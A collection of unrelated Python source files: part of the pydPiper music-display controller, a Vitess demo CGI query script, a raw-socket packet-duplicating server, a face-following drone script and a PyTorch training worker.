current_time = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime(u"%-I:%M %p").strip().decode()
current_time_sec = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime(u"%-I:%M:%S %p").strip().decode()
except ValueError:
# Don't know why but on exit, the moment code is occasionally throwing a ValueError
current_time = u"00:00"
current_time_sec = u"00:00:00"
current_time_ampm = u''
utc = None
localtime = None
with self.musicdata_lock:
# Update musicdata based upon received message
for item, value in updates.iteritems():
self.musicdata[item] = value
# Update song timing variables
if u'elapsed' in updates:
self.musicdata[u'elapsed'] = self.musicdata[u'current'] = updates[u'elapsed']
timesongstarted = time.time() - self.musicdata[u'elapsed']
if self.musicdata[u'state'] == u'play':
if u'elapsed' not in updates:
if timesongstarted > 0:
self.musicdata[u'elapsed'] = int(time.time() - timesongstarted)
else:
# We got here without timesongstarted being set which is a problem...
logging.debug(u"Trying to update current song position with an uninitialized start time")
# If the value of current has changed then update the other related timing variables
if self.musicdata[u'elapsed'] != self.musicdata_prev[u'elapsed']:
if self.musicdata[u'length'] > 0:
timepos = time.strftime("%-M:%S", time.gmtime(self.musicdata[u'elapsed'])) + "/" + time.strftime("%-M:%S", time.gmtime(self.musicdata[u'length']))
remaining = time.strftime("%-M:%S", time.gmtime(self.musicdata[u'length'] - self.musicdata[u'elapsed'] ) )
else:
timepos = time.strftime("%-M:%S", time.gmtime(self.musicdata[u'elapsed']))
remaining = timepos
self.musicdata[u'remaining'] = remaining.decode()
self.musicdata[u'elapsed_formatted'] = self.musicdata[u'position'] = timepos.decode()
# Update onoff variables (random, single, repeat)
self.musicdata[u'random_onoff'] = u"On" if self.musicdata[u'random'] else u"Off"
self.musicdata[u'single_onoff'] = u"On" if self.musicdata[u'single'] else u"Off"
self.musicdata[u'repeat_onoff'] = u"On" if self.musicdata[u'repeat'] else u"Off"
# update time variables
self.musicdata[u'utc'] = utc
self.musicdata[u'localtime'] = localtime
self.musicdata[u'time'] = current_time
self.musicdata[u'time_ampm'] = current_time_ampm
# note: 'time_formatted' is computed during page processing as it needs the value of the strftime key contained on the line being displayed
# For backwards compatibility
self.musicdata[u'current_time'] = current_time
self.musicdata[u'current_time_sec'] = current_time
if self.musicdata[u'state'] != self.musicdata_prev[u'state'] or u'_state_change_time' not in self.musicdata_prev:
if u'_state_change_time' not in self.musicdata_prev or self.musicdata_prev[u'_state_change_time'] is None:
self.musicdata[u'_state_change_time'] = 0
else:
self.musicdata[u'_state_change_time'] = time.time()
self.musicdata[u'time_since_last_state_change'] = time.time() - self.musicdata[u'_state_change_time']
# If anything has changed, update pages ### probably unnecessary to check this now that time is being updated in this section
if self.musicdata != self.musicdata_prev or lastupdate < time.time():
# Set lastupdate time to 1 second in the future
lastupdate = time.time()+1
self.musicdata[u'time_formatted'] = moment.utcnow().timezone(pydPiper_config.TIMEZONE).strftime('%H:%M').strip().decode()
# To support previous key used for this purpose
self.musicdata[u'current_time_formatted'] = self.musicdata[u'time_formatted']
# Update display controller
# The primary call to this routine is in main but this call is needed to catch variable changes before musicdata_prev is updated.
self.display_controller.next()
# Print the current contents of musicdata if showupdates is True
if self.showupdates:
# Check to see if a variable has changed (except time variables)
shouldshowupdate = False
for item, value in self.musicdata.iteritems():
try:
if item in ['utc', 'localtime', 'time', 'time_ampm', 'current_time', 'current_time_sec']:
continue
if self.musicdata_prev[item] != value:
shouldshowupdate = True
break
except KeyError:
shouldshowupdate = True
break
if shouldshowupdate:
ctime = localtime.strftime("%-I:%M:%S %p").strip()
print u"Status at time {0}".format(ctime)
with self.musicdata_lock:
for item,value in self.musicdata.iteritems():
try:
print u" [{0}]={1} {2}".format(item,repr(value), type(value))
except:
print u"err"
print u"[{0}] =".format(item)
print type(value)
print repr(value)
print u"\n"
# Update musicdata_prev
with self.musicdata_lock:
for item, value in self.musicdata.iteritems():
try:
if self.musicdata_prev[item] != value:
self.musicdata_prev[item] = value
except KeyError:
self.musicdata_prev[item] = value
# Update display data every 1/4 second
time.sleep(.25)
def checkweatherconfiguration(self):
if not pydPiper_config.WEATHER_SERVICE:
logging.debug('Weather service not enabled')
return False
if pydPiper_config.WEATHER_SERVICE not in ['wunderground', 'accuweather']:
logging.warning('{0} is not a valid weather service'.format(pydPiper_config.WEATHER_SERVICE))
return False
if not pydPiper_config.WEATHER_API:
logging.warning('Weather service requires an API key. Weather services will not be available until one is provided')
return False
if not pydPiper_config.WEATHER_LOCATION:
logging.warning('Weather service requires that a location be specified. Weather services will not be available until one is provided')
return False
return True
def checkaccuweatherreturn(self, status_code):
if status_code == 400:
logging.warning('Request had bad syntax or the parameters supplied were invalid. Request was [{0}]'.format(querystr))
elif status_code == 401:
logging.warning('Unauthorized. API authorization failed. API key is [{0}]'.format(pydPiper_config.WEATHER_API))
elif status_code == 403:
logging.warning('Unauthorized. You do not have permission to access this endpoint')
elif status_code == 404:
logging.warning('Server has not found a route matching the given URI. Request was [{0}]'.format(querystr))
elif status_code == 500:
logging.warning('Server encountered an unexpected condition which prevented it from fulfilling the request. Request was [{0}]'.format(querystr))
elif status_code == 200:
return True
else:
logging.warning('An unexpected return value was provide. Value was [{0}]. Request was [{1}]'.format(status_code,querystr))
return False
def updateforecast(self):
if not self.checkweatherconfiguration():
return
logging.debug('Initializing weather forecast update process. Forecasts will update every 12 hours at noon and midnight')
while not exitapp[0]:
updateFlag = False
logging.debug('Requesting weather forecast from {0}'.format(pydPiper_config.WEATHER_SERVICE))
if pydPiper_config.WEATHER_SERVICE == 'accuweather':
querystr = 'http://dataservice.accuweather.com/forecasts/v1/daily/1day/' + pydPiper_config.WEATHER_LOCATION
r = requests.get(querystr, { 'apikey': pydPiper_config.WEATHER_API, })
if self.checkaccuweatherreturn(r.status_code):
try:
res = r.json()
todaysForecast = res['DailyForecasts'][0]
temp_max_f = todaysForecast['Temperature']['Maximum']['Value'] if todaysForecast['Temperature']['Maximum']['Unit'] == 'F' else round((todaysForecast['Temperature']['Maximum']['Value']*1.8)+32,1)
temp_min_f = todaysForecast['Temperature']['Minimum']['Value'] if todaysForecast['Temperature']['Minimum']['Unit'] == 'F' else round((todaysForecast['Temperature']['Minimum']['Value']*1.8)+32,1)
outside_temp_max = temp_max_f if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else round((temp_max_f-32)*0.55555556,1)
outside_temp_min = temp_min_f if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else round((temp_min_f-32)*0.55555556,1)
outside_temp_max_formatted = u"{0}°{1}".format(int(outside_temp_max),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
outside_temp_min_formatted = u"{0}°{1}".format(int(outside_temp_min),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
outside_conditions = todaysForecast['Day']['IconPhrase']
updateFlag = True
except (KeyError, IndexError, ValueError):
logging.warning('AccuWeather provided a response in an unexpected format. Received [{0}]'.format(res))
if updateFlag:
logging.debug('Forecast calls for a high of {0}, a low of {1}. Condition is {2}'.format(outside_temp_max_formatted, outside_temp_min_formatted, outside_conditions))
with self.musicdata_lock:
self.musicdata[u'outside_temp_max'] = outside_temp_max
self.musicdata[u'outside_temp_min'] = outside_temp_min
self.musicdata[u'outside_temp_max_formatted'] = outside_temp_max_formatted
self.musicdata[u'outside_temp_min_formatted'] = outside_temp_min_formatted
self.musicdata[u'outside_conditions'] = outside_conditions
# Sleep until next update which occurs every half day
pause.sleepUntil(time.time()+pause.nextHalfday(60), exitapp)
def updateconditions(self):
if not self.checkweatherconfiguration():
return
logging.debug('Initializing weather current conditions update process. Current conditions will update every hour')
while not exitapp[0]:
updateFlag = False
# If using accuweather, sample current condition date every hour
if pydPiper_config.WEATHER_SERVICE == 'accuweather':
logging.debug('Requesting current conditions from {0}'.format(pydPiper_config.WEATHER_SERVICE))
querystr = 'http://dataservice.accuweather.com/currentconditions/v1/' + pydPiper_config.WEATHER_LOCATION
r = requests.get(querystr, { 'apikey': pydPiper_config.WEATHER_API })
if self.checkaccuweatherreturn(r.status_code):
try:
res = r.json()
current_observation = res[0]
temp = current_observation['Temperature']['Imperial']['Value'] if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else current_observation['Temperature']['Metric']['Value']
temp_formatted = u"{0}°{1}".format(int(temp),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
updateFlag = True
except (KeyError, IndexError, ValueError):
logging.warning('AccuWeather provided a response in an unexpected format. Received [{0}]'.format(res))
if updateFlag:
logging.debug('Current Temperature is {0}'.format(temp_formatted))
with self.musicdata_lock:
self.musicdata[u'outside_temp'] = temp
self.musicdata[u'outside_temp_formatted'] = temp_formatted
# If using Weather Undergroun, sample current and forecast condition date every hour
elif pydPiper_config.WEATHER_SERVICE == 'wunderground':
querystr = 'http://api.wunderground.com/api/' + pydPiper_config.WEATHER_API + '/geolookup/conditions/forecast/q/' + pydPiper_config.WEATHER_LOCATION + '.json'
r = requests.get(querystr)
if self.checkaccuweatherreturn(r.status_code):
try:
res = r.json()
if 'error' in res['response']:
logging.warning('Error occured retrieving forecast from Weather Underground. Problem type was [{0}]:[{1}]'.format(res['response']['error']['type'],res['response']['error']['description']))
else:
todaysForecast = res['forecast']['simpleforecast']['forecastday'][0]
currentObservation = res['current_observation']
temp = currentObservation['temp_f'] if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else currentObservation['temp_c']
temp_formatted = u"{0}°{1}".format(int(temp),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
temp_max_f = round(float(todaysForecast['high']['fahrenheit']),1)
temp_min_f = round(float(todaysForecast['low']['fahrenheit']),1)
temp_max_c = round(float(todaysForecast['high']['celsius']),1)
temp_min_c = round(float(todaysForecast['low']['celsius']),1)
outside_temp_max = temp_max_f if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else temp_max_c
outside_temp_min = temp_min_f if pydPiper_config.TEMPERATURE.lower() == 'fahrenheit' else temp_min_c
outside_temp_max_formatted = u"{0}°{1}".format(int(outside_temp_max),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
outside_temp_min_formatted = u"{0}°{1}".format(int(outside_temp_min),{'fahrenheit':'F', 'celsius': 'C'}.get(pydPiper_config.TEMPERATURE.lower()))
outside_conditions = currentObservation['weather']
updateFlag = True
except (KeyError, IndexError, ValueError):
logging.warning('Weather Underground provided a response in an unexpected format. Received [{0}]'.format(res))
if updateFlag:
logging.debug('Current Temperature is {0}'.format(temp_formatted))
with self.musicdata_lock:
self.musicdata[u'outside_temp'] = temp
self.musicdata[u'outside_temp_formatted'] = temp_formatted
self.musicdata[u'outside_temp_max'] = outside_temp_max
self.musicdata[u'outside_temp_min'] = outside_temp_min
self.musicdata[u'outside_temp_max_formatted'] = outside_temp_max_formatted
self.musicdata[u'outside_temp_min_formatted'] = outside_temp_min_formatted
self.musicdata[u'outside_conditions'] = outside_conditions
# Sleep until next update which occurs every hour
pause.sleepUntil(time.time()+pause.nextHour(60), exitapp)
def updatesystemvars(self):
logging.debug('Initializing current system status update process. System status will update every five minutes')
while not exitapp[0]:
current_ip = commands.getoutput(u"ip -4 route get 1 | head -1 | cut -d' ' -f8 | tr -d '\n'").strip()
try:
with open(u"/sys/class/thermal/thermal_zone0/temp") as file:
system_tempc = int(file.read())
# Convert value to float and correct decimal place
system_tempc = round(float(system_tempc) / 1000,1)
# convert to fahrenheit
system_tempf = round(system_tempc*9/5+32,1)
except AttributeError:
system_tempc = 0.0
system_tempf = 0.0
try:
if pydPiper_config.TEMPERATURE.lower() == u'celsius':
system_temp = system_tempc
system_temp_formatted = u"{0}°c".format(int(system_temp))
else:
system_temp = system_tempf
system_temp_formatted = u"{0}°f".format(int(system_temp))
except:
system_temp = system_tempf
system_temp_formatted = u"{0}°f".format(int(system_temp))
try:
# Check if running on OSX. If yes, adjust df command
with os.popen(u'cat /etc/os-release') as p:
releaseName = p.readline()
if sys.platform == u"darwin":
with os.popen(u"df /") as p:
p = os.popen(u"df /")
line = p.readline()
line = p.readline()
va = line.split()
line = "{0} {1}".format(va[3], va[4])
va = line.split()
avail = int(va[3])
usedp = int(va[4][:-1]) # Remove trailing % and convert to int
used = int(va[2])
availp = 100-usedp
elif releaseName[6:12] == 'Alpine':
with os.popen(u"df /") as p:
p = os.popen(u"df -B 1 /")
line = p.readline()
line = p.readline()
line = p.readline()
va = line.split()
avail = int(va[2])
usedp = int(va[3][:-1]) # Remove trailing % and convert to int
used = int(va[1])
availp = 100-usedp
else:
# assume running on Raspberry linux
with os.popen(u"df -B 1 /") as p:
line = p.readline()
line = p.readline().strip()
va = line.split()
avail = int(va[3])
usedp = int(va[4][:-1]) # Remove trailing % and convert to int
used = int(va[2])
availp = 100-usedp
except AttributeError:
avail = 0
availp = 0
usedp = 0
used = 0
logging.debug('System status: Temp {0}, Disk space remaining {1}%, IP address {2}'.format(system_temp_formatted, availp, current_ip.decode()))
with self.musicdata_lock:
self.musicdata[u'system_temp'] = system_temp
self.musicdata[u'system_temp_formatted'] = system_temp_formatted
self.musicdata[u'system_tempc'] = system_tempc
self.musicdata[u'system_tempf'] = system_tempf
# For backward compatibility
self.musicdata[u'current_tempc'] = self.musicdata[u'system_tempc']
self.musicdata[u'current_tempf'] = self.musicdata[u'system_tempf']
self.musicdata[u'disk_avail'] = avail
self.musicdata[u'disk_availp'] = availp
self.musicdata[u'disk_used'] = used
self.musicdata[u'disk_usedp'] = usedp
self.musicdata[u'ip'] = current_ip.decode()
# For backwards compatibility
self.musicdata[u'current_ip'] = current_ip.decode()
# Sleep until next update which occurs every minutes
pause.sleepUntil(time.time()+300, exitapp)
def sigterm_handler(_signo, _stack_frame):
sys.exit(0)
if __name__ == u'__main__':
import math
signal.signal(signal.SIGTERM, sigterm_handler)
# Changing the system encoding should no longer be needed
# if sys.stdout.encoding != u'UTF-8':
# sys.stdout = codecs.getwriter(u'utf-8')(sys.stdout, u'strict')
logging.basicConfig(format=u'%(asctime)s:%(levelname)s:%(message)s', filename=pydPiper_config.LOGFILE, level=pydPiper_config.LOGLEVEL)
logging.getLogger().addHandler(logging.StreamHandler())
logging.getLogger(u'socketIO-client').setLevel(logging.WARNING)
# Move unhandled exception messages to log file
def handleuncaughtexceptions(exc_type, exc_value, exc_traceback):
if issubclass(exc_type, KeyboardInterrupt):
sys.__excepthook__(exc_type, exc_value, exc_traceback)
return
logging.error(u"Uncaught exception", exc_info=(exc_type, exc_value, exc_traceback))
try:
if len(mc.musicdata) > 0:
logging.error(u"Player status at exception")
logging.error(unicode(mc.musicdata))
except NameError:
# If this gets called before the music controller is instantiated, ignore it
pass
sys.__excepthook__(exc_type, exc_value, exc_traceback)
sys.excepthook = handleuncaughtexceptions
# Suppress MPD libraries INFO messages
loggingMPD = logging.getLogger(u"mpd")
loggingMPD.setLevel( logging.WARN )
loggingPIL = logging.getLogger(u'PIL')
loggingPIL.setLevel( logging.WARN )
try:
opts, args = getopt.getopt(sys.argv[1:],u"d:",[u"driver=",u"devicetype=",u"width=",u"height=","rs=","e=","d4=","d5=","d6=","d7=","i2caddress=","i2cport=" ,u"wapi=", u"wlocale=", u"timezone=", u"temperature=", u"lms",u"mpd",u"spop",u"rune",u"volumio",u"pages=", u"lmsplayer=", u"showupdates"])
except getopt.GetoptError:
print u'pydPiper.py -d <driver> --devicetype <devicetype (for LUMA devices)> --width <width in pixels> --height <height in pixels> --rs <rs> --e <e> --d4 <d4> --d5 <d5> --d6 <d6> --d7 <d7> --i2caddress <i2c address> --i2cport <i2c port> --wapi <weather underground api key> --wlocale <weather location> --timezone <timezone> --temperature <fahrenheit or celsius> --mpd --spop --lms --rune --volumio --pages <pagefile> --lmsplayer <mac address of lms player> --showupdates'
sys.exit(2)
services_list = [ ]
driver = ''
devicetype = ''
showupdates = False
pagefile = 'pages.py'
pin_rs = pydPiper_config.DISPLAY_PIN_RS
pin_e = pydPiper_config.DISPLAY_PIN_E
[pin_d4, pin_d5, pin_d6, pin_d7] = pydPiper_config.DISPLAY_PINS_DATA
rows = pydPiper_config.DISPLAY_HEIGHT
cols = pydPiper_config.DISPLAY_WIDTH
i2c_address = pydPiper_config.DISPLAY_I2C_ADDRESS
i2c_port = pydPiper_config.DISPLAY_I2C_PORT
enable = pydPiper_config.DISPLAY_ENABLE_DURATION
driver = pydPiper_config.DISPLAY_DRIVER
pagefile = pydPiper_config.PAGEFILE
services_list.append(pydPiper_config.MUSIC_SERVICE)
serial_port = pydPiper_config.DISPLAY_SERIAL_PORT
serial_baudrate = pydPiper_config.DISPLAY_SERIAL_BAUDRATE
for opt, arg in opts:
if opt == u'-h':
print u'pydPiper.py -d <driver> --devicetype <devicetype e.g. ssd1306, sh1106> --width <width in pixels> --height <height in pixels> --rs <rs> --e <e> --d4 <d4> --d5 <d5> --d6 <d6> --d7 <d7> --i2caddress <i2c address> --i2cport <i2c port> --enable <enable duration> --wapi <weather underground api key> --wlocale <weather location> --timezone <timezone> --temperature <fahrenheit or celsius> --mpd --spop --lms --rune --volumio --pages <pagefile> --lmsplayer <mac address of lms player> --showupdates --baudrate <serial baudrate> --serial_port <serial port>'
sys.exit()
elif opt in (u"-d", u"--driver"):
driver = arg
elif opt in (u"--devicetype"):
devicetype = arg
elif opt in ("--rs"):
pin_rs = int(arg)
elif opt in ("--e"):
pin_e = int(arg)
elif opt in ("--d4"):
pin_d4 = int(arg)
elif opt in ("--d5"):
pin_d5 = int(arg)
elif opt in ("--d6"):
pin_d6 = int(arg)
elif opt in ("--d7"):
pin_d7 = int(arg)
elif opt in ("--i2caddress"):
i2c_address = int(arg,0)
elif opt in ("--i2cport"):
i2c_port = int(arg,0)
elif opt in ("--width"):
cols = int(arg,0)
elif opt in ("--height"):
rows = int(arg,0)
elif opt in ("--enable"):
enable = int(arg)
elif opt in (u"--wapi"):
pydPiper_config.WUNDER_API = arg
elif opt in (u"--wlocale"):
pydPiper_config.WUNDER_LOCATION = arg
elif opt in (u"--timezone"):
pydPiper_config.TIMEZONE = arg
elif opt in (u"--temperature"):
pydPiper_config.TEMPERATURE = arg
elif opt in (u"--mpd"):
services_list.append(u'mpd')
elif opt in (u"--spop"):
services_list.append(u'spop')
elif opt in (u"--lms"):
services_list.append(u'lms')
elif opt in (u"--lmsplayer"):
pydPiper_config.LMS_PLAYER = arg
elif opt in (u"--rune"):
services_list.append(u'rune')
elif opt in (u"--volumio"):
services_list.append(u'volumio')
elif opt in (u"--pages"):
pagefile = arg
# print u"Loading {0} as page file".format(arg)
# If page file provided, try to load provided file on top of default pages file
# try:
# newpages = imp.load_source(u'pages', arg)
# if validpages(newpages):
# pages = newpages
# else:
# print u"Invalid page file provided. Using default pages."
# except IOError:
# # Page file not found
# print u"Page file {0} not found. Using default pages".format(arg)
elif opt in (u"--serial_port"):
serial_port = arg
elif opt in (u"--baudrate"):
serial_baudrate = arg
elif opt in (u"--showupdates"):
showupdates = True
pydPiper_config.DISPLAY_SIZE = (cols, rows)
pins_data = [pin_d4, pin_d5, pin_d6, pin_d7]
if len(services_list) == 0:
logging.critical(u"Must have at least one music service to monitor")
sys.exit()
logging.info(u'pydPiper starting')
dq = Queue.Queue()
# Choose display
if not driver:
try:
driver = pydPiper_config.DISPLAY_DRIVER
except:
drvier = u''
if not devicetype:
try:
devicetype = pydPiper_config.DISPLAY_DEVICETYPE
except:
devicetype = u''
if driver == u"winstar_weg":
lcd = displays.winstar_weg.winstar_weg(rows, cols, pin_rs, pin_e, pins_data, enable)
elif driver == u"hd44780":
lcd = displays.hd44780.hd44780(rows, cols, pin_rs, pin_e, pins_data, enable)
elif driver == u"hd44780_i2c":
lcd = displays.hd44780_i2c.hd44780_i2c(rows, cols, i2c_address, i2c_port, enable)
elif driver == u"hd44780_mcp23008":
lcd = displays.hd44780_i2c.hd44780_mcp23008(rows, cols, i2c_address, i2c_port, enable)
elif driver == u"ssd1306_i2c":
lcd = displays.ssd1306_i2c.ssd1306_i2c(rows, cols, i2c_address, i2c_port)
elif driver == u"luma_i2c":
lcd = displays.luma_i2c.luma_i2c(rows, cols, i2c_address, i2c_port, devicetype)
elif driver == u"lcd_curses":
lcd = displays.lcd_curses.lcd_curses(rows, cols)
elif driver == u"gu7000":
lcd = displays.gu7000.gu7000(rows, cols, serial_port, serial_baudrate)
else:
logging.critical(u"No valid display found")
sys.exit()
lcd.clear()
logging.debug('Loading display controller')
dc = displays.display.display_controller(pydPiper_config.DISPLAY_SIZE)
logging.debug('Loading music controller')
mc = music_controller(services_list, dc, showupdates)
time.sleep(2)
mc.start()
dc.load(pagefile, mc.musicdata,mc.musicdata_prev )
try:
while True:
# Get next image and send it to the display every .1 seconds
with mc.musicdata_lock:
img = dc.next()
# displays.graphics.update(img)
lcd.update(img)
time.sleep(pydPiper_config.ANIMATION_SMOOTHING)
except KeyboardInterrupt:
pass
finally:
print u"Shutting down threads"
exitapp[0] = True
try:
lcd.clear()
lcd.message(u"Exiting...")
time.sleep(3)
lcd.clear()
lcd.cleanup()
except:
pass
mc.join()
logging.info(u"Exiting...")
|
data.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright 2017 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This module allows you to bring up and tear down keyspaces."""
import cgi
import json
import subprocess
import sys
import threading
import time
import MySQLdb as db
def exec_query(conn, title, table, query, response, keyspace=None, kr=""): # pylint: disable=missing-docstring
cursor = conn.cursor()
try:
if kr:
cursor.execute('use `%s:%s`' % (keyspace, kr))
cursor.execute(query)
results = cursor.fetchall()
# Load previous values.
fname = "/tmp/"+title+".json"
try:
with open(fname) as f:
rows = json.load(f)
except Exception:
rows = []
if not rows:
rows = []
# A hack:
# Insert an extra value that specifies if the row is new or not.
# True is new, False is old.
# result.html will remove this value before displaying
# the actual results.
# result is an exception: always treat as old.
qualified_results = []
for r in results:
newr = list(r)
if title == "result":
newr.insert(0, False)
else:
newr.insert(0, newr not in rows)
qualified_results.append(newr)
response[title] = {
"title": table+" "+kr,
"description": cursor.description,
"rowcount": cursor.rowcount,
"lastrowid": cursor.lastrowid,
"results": qualified_results,
}
# Save latest values.
with open(fname, 'w') as f:
json.dump(results, f)
except Exception as e: # pylint: disable=broad-except
# Ignore shard-specific 'not found' errors.
if 'not found' in str(e) and kr:
response[title] = {}
else:
response[title] = {
"title": title,
"error": str(e),
}
finally:
cursor.close()
def capture_log(port, db, queries): # pylint: disable=missing-docstring
p = subprocess.Popen(
["curl", "-s", "-N", "http://localhost:%d/debug/querylog" % port],
stdout=subprocess.PIPE)
def collect():
for line in iter(p.stdout.readline, ""):
query = line.split("\t")[12].strip('"')
if not query:
continue
querylist = query.split(";")
querylist = [x for x in querylist if "1 != 1" not in x]
queries.append(db+": "+";".join(querylist))
t = threading.Thread(target=collect)
t.daemon = True
t.start()
return p
def main():
print "Content-Type: application/json\n"
try:
conn = db.connect(
host="127.0.0.1",
port=15306,
user="mysql_user")
rconn = db.connect(
host="127.0.0.1",
port=15306,
user="mysql_user")
args = cgi.FieldStorage()
query = args.getvalue("query")
response = {}
try:
queries = []
stats1 = capture_log(15100, "product", queries)
stats2 = capture_log(15200, "customer:-80", queries)
stats3 = capture_log(15300, "customer:80-", queries)
stats4 = capture_log(15400, "merchant:-80", queries)
stats5 = capture_log(15500, "merchant:80-", queries)
time.sleep(0.25)
if query and query != "undefined":
exec_query(conn, "result", "result", query, response)
finally:
stats1.terminate()
stats2.terminate()
stats3.terminate()
stats4.terminate()
stats5.terminate()
time.sleep(0.25)
response["queries"] = queries
exec_query(
rconn, "product", "product",
"select * from product", response, keyspace="product", kr="0")
exec_query(
rconn, "sales", "sales",
"select * from sales", response, keyspace="product", kr="0")
exec_query(
rconn, "customer0", "customer",
"select * from customer", response, keyspace="customer", kr="-80")
exec_query(
rconn, "customer1", "customer",
"select * from customer", response, keyspace="customer", kr="80-")
exec_query(
rconn, "uorder0", "orders",
"select * from orders", response, keyspace="customer", kr="-80")
exec_query(
rconn, "uorder1", "orders",
"select * from orders", response, keyspace="customer", kr="80-")
exec_query(
rconn, "uproduct0", "product",
"select * from product", response, keyspace="customer", kr="-80")
exec_query(
rconn, "uproduct1", "product",
"select * from product", response, keyspace="customer", kr="80-")
exec_query(
rconn, "merchant0", "merchant",
"select * from merchant", response, keyspace="merchant", kr="-80")
exec_query(
rconn, "merchant1", "merchant",
"select * from merchant", response, keyspace="merchant", kr="80-")
exec_query(
rconn, "morder0", "orders",
"select * from orders", response, keyspace="merchant", kr="-80")
exec_query(
rconn, "morder1", "orders",
"select * from orders", response, keyspace="merchant", kr="80-")
if response.get("error"):
print >> sys.stderr, response["error"]
print json.dumps(response)
except Exception as e: # pylint: disable=broad-except
print >> sys.stderr, str(e)
print json.dumps({"error": str(e)})
conn.close()
rconn.close()
if __name__ == "__main__":
main()
|
server.py | from utils import inet_utils
import sys
sys.path.append('./bin/')
import socket as sck
import threading
import time
from bottle import *
#sudo pip3 install --install-option="--prefix=/home/gabriele/Scrivania/multicat_unik" --ignore-installed bottle
destinations=[]
@get('/destination/add/<ip>')
def add_destination(ip):
if ip not in destinations:
global destinations
destinations.append(ip)
return str('OK')
else:
return str('KO')
@get('/destination/del/<ip>')
def remove_destination(ip):
if ip in destinations:
global destinations
destinations.remove(ip)
return str('OK')
else:
return str('KO')
@get('/destinations/')
def remove_destination():
return destinations
def main():
#if len(sys.argv)<3:
# print ('Usage %s interface ipaddress1,ipaddress2,...' % sys.argv[0])
# sys.exit(0)
HOST = 'localhost'
PORT = 8001
device=sys.argv[1]
#destinations=sys.argv[2:]
addr = (HOST,PORT)
sock = sck.socket(sck.AF_PACKET,sck.SOCK_RAW,sck.IPPROTO_RAW)
iface=(device,0x0800)
sock.bind(iface)
print ('Listening to: %s:%s' % iface)
while True:
raw_buffer = sock.recv(65535)
for d in destinations:
if inet_utils.duplicate_pkt(raw_buffer,d,'FFFFFFFFFFFF',sock) == None:
print ('data sent %f' % time.time())
#else:
# print ('error')
#sock.sendall(data.encode())
if __name__=='__main__':
threading.Thread(target=main).start()
run(host='0.0.0.0',port=8080,debug=True)
|
fly_drone.py |
import cv2
from fellbeast.drone import Drone
from fellbeast.routines import follow_person
import queue
import threading
q = queue.Queue()
def display():
print("Start Displaying")
while True:
if not q.empty():
frame = q.get()
cv2.imshow("frame1", frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
def main():
drone = Drone(known_face_path='../face_db/')
drone.connect(camera=True)
drone.wait(7)
for i in range(20):
print(i)
test_image = drone.camera.read()
if len(test_image) > 0:
break
else:
drone.wait(3)
drone.reset_speed()
drone.takeoff()
follow_person('Amit', drone, q)
if __name__ == '__main__':
p1 = threading.Thread(target=main)
p1.start()
display()
|
multi_inf_parallel_files_continuous.py | #!/usr/bin/env python3
import os
import inf_common as IC
import hyperparams as HP
import torch
torch.set_num_threads(1)
torch.set_num_interop_threads(1)
from torch import Tensor
import time
from typing import Dict, List, Tuple, Optional
from collections import defaultdict
from collections import ChainMap
import sys,random,itertools,os,gc
import numpy as np
# To release claimed memory back to os; Call: libc.malloc_trim(ctypes.c_int(0))
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
def copy_grads_back_from_param(parts,parts_copies):
for param, param_copy in zip(parts.parameters(),parts_copies.parameters()):
# print("Copy",param_copy)
# print("Copy.grad",param_copy.grad)
param.grad = param_copy
def eval_and_or_learn_on_one(probname,parts_file,training,log):
# print("eval_and_or_learn_on_one",probname,parts_file,training)
# print("{}/pieces/{}".format(sys.argv[1],probname))
data = torch.load("{}/pieces/{}".format(sys.argv[1],probname))
(init,deriv,pars,pos_vals,neg_vals,tot_pos,tot_neg) = data
myparts = torch.load(parts_file)
# not sure if there is any after load -- TODO: check if necessary
for param in myparts.parameters():
# taken from Optmizier zero_grad, roughly
if param.grad is not None:
print("Loaded param with with a grad",log)
param.grad.detach_()
param.grad.zero_()
# print("Datum of size",len(init)+len(deriv))
if training:
model = IC.LearningModel(*myparts,init,deriv,pars,pos_vals,neg_vals,tot_pos,tot_neg)
model.train()
(loss_sum,posOK_sum,negOK_sum) = model()
loss_sum.backward()
# put grad into actual tensor to be returned below (gradients don't go through the Queue)
for param in myparts.parameters():
grad = param.grad
param.requires_grad = False # to allow the in-place operation just below
if grad is not None:
param.copy_(grad)
else:
param.zero_()
torch.save(myparts,parts_file)
else:
with torch.no_grad():
model = IC.LearningModel(*myparts,init,deriv,pars,pos_vals,neg_vals,tot_pos,tot_neg)
model.eval()
(loss_sum,posOK_sum,negOK_sum) = model()
del model # I am getting desperate!
return (loss_sum[0].detach().item(),posOK_sum,negOK_sum,tot_pos,tot_neg)
def worker(q_in, q_out):
log = sys.stdout
while True:
(probname,size,parts_file,training) = q_in.get()
start_time = time.time()
(loss_sum,posOK_sum,negOK_sum,tot_pos,tot_neg) = eval_and_or_learn_on_one(probname,parts_file,training,log)
q_out.put((probname,size,loss_sum,posOK_sum,negOK_sum,tot_pos,tot_neg,parts_file,start_time,time.time()))
libc.malloc_trim(ctypes.c_int(0))
def save_checkpoint(epoch_num, epoch_id, model, optimizer):
print("checkpoint",epoch)
check_name = "{}/check-epoch{}.pt".format(sys.argv[2],epoch_id)
check = (epoch_num,model,optimizer)
torch.save(check,check_name)
def load_checkpoint(filename):
return torch.load(filename)
